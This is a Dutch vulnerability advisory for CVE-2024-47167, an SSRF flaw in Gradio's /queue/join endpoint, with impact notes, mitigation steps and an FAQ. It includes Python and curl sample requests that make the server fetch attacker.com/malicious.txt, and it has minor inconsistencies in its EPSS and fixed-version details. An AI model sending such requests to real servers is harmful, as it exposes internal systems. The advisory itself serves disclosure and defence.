Platform
python
Component
gradio
Opgelost in
5.0.1
5.0.0
CVE-2024-47167 beschrijft een Server-Side Request Forgery (SSRF) kwetsbaarheid in Gradio, een Python bibliotheek voor het bouwen van machine learning interfaces. Deze kwetsbaarheid stelt aanvallers in staat om via de /queue/join endpoint HTTP-verzoeken naar door hen gecontroleerde URL's te sturen, waardoor toegang tot interne systemen mogelijk wordt. De kwetsbaarheid treft Gradio versies tot en met 5.0.0b9; een fix is beschikbaar in versie 5.0.0.
De SSRF-kwetsbaarheid in Gradio maakt het mogelijk voor een aanvaller om de Gradio-server te misbruiken om HTTP-verzoeken naar willekeurige URL's te sturen. Dit kan leiden tot toegang tot interne netwerkdiensten die normaal gesproken niet toegankelijk zijn vanaf het internet. Een aanvaller kan bijvoorbeeld interne API's benaderen, gevoelige data ophalen of zelfs pogingen doen om interne systemen te exploiteren. De opgeslagen content van de externe URL's verhoogt het risico op het uploaden van kwaadaardige bestanden naar de server. De impact is aanzienlijk, aangezien een succesvolle exploitatie kan leiden tot data-exfiltratie, compromittering van interne systemen en potentieel verdere aanvalsmogelijkheden.
Op dit moment is er geen publieke exploitatie van CVE-2024-47167 bekend. De kwetsbaarheid is openbaar gemaakt op 2024-10-10. De EPSS score is nog niet bekend, maar gezien de aard van de SSRF kwetsbaarheid en de mogelijkheid tot interne toegang, is een medium tot hoog risico waarschijnlijk. Er zijn geen bekende CISA KEV vermeldingen.
Organizations deploying Gradio to expose machine learning models or other internal applications are at significant risk. Shared hosting environments where multiple users share the same Gradio instance are particularly vulnerable, as an attacker could potentially exploit the vulnerability to target other users' data or resources.
• python / gradio:
import requests
import urllib3
http = urllib3.PoolManager()
try:
response = http.request('GET', 'http://your-gradio-server/queue/join?url=http://attacker.com/malicious.txt')
print(response.status)
except Exception as e:
print(f"Error: {e}")• generic web:
curl -I 'http://your-gradio-server/queue/join?url=http://attacker.com/malicious.txt' | grep -i 'Location:'disclosure
Exploit Status
EPSS
0.24% (47% percentiel)
CISA SSVC
CVSS-vector
De primaire mitigatie voor CVE-2024-47167 is het upgraden van Gradio naar versie 5.0.0 of hoger. Als een directe upgrade niet mogelijk is, overweeg dan tijdelijke maatregelen zoals het implementeren van een Web Application Firewall (WAF) om verzoeken naar de /queue/join endpoint te filteren en te blokkeren. Configureer de WAF om verzoeken met onbekende of verdachte URL's te blokkeren. Controleer ook de Gradio configuratie om te zorgen dat er geen onnodige toegang tot interne netwerkdiensten wordt verleend. Na de upgrade, bevestig de fix door een testverzoek naar de /queue/join endpoint te sturen met een externe URL en controleer of dit wordt geblokkeerd.
Actualiseer de Gradio bibliotheek naar versie 5.0 of hoger. Als alternatief, schakel URL-gebaseerde inputs in uw Gradio applicatie uit of beperk deze tot vertrouwde domeinen. Implementeer striktere URL validatie en zorg ervoor dat lokale of interne netwerkadressen niet via het endpoint `/queue/join` kunnen worden aangevraagd.
Kwetsbaarheidsanalyses en kritieke waarschuwingen direct in uw inbox.
CVE-2024-47167 is een Server-Side Request Forgery (SSRF) kwetsbaarheid in Gradio versies tot en met 5.0.0b9, waardoor aanvallers HTTP-verzoeken naar externe URL's kunnen forceren.
Ja, als u Gradio gebruikt in versie 5.0.0b9 of lager, bent u kwetsbaar voor deze SSRF-kwetsbaarheid.
Upgrade Gradio naar versie 5.0.0 of hoger om de kwetsbaarheid te verhelpen. Implementeer tijdelijk een WAF om verzoeken te filteren.
Op dit moment is er geen publieke exploitatie bekend, maar de SSRF-kwetsbaarheid kan potentieel misbruikt worden.
Raadpleeg de Gradio GitHub repository voor de officiële advisory en release notes: [https://github.com/gradio-app/gradio](https://github.com/gradio-app/gradio)
Upload je dependency-bestand en kom direct te weten of deze en andere CVEs jou raken.
Upload je requirements.txt-bestand en we vertellen je direct of je getroffen bent.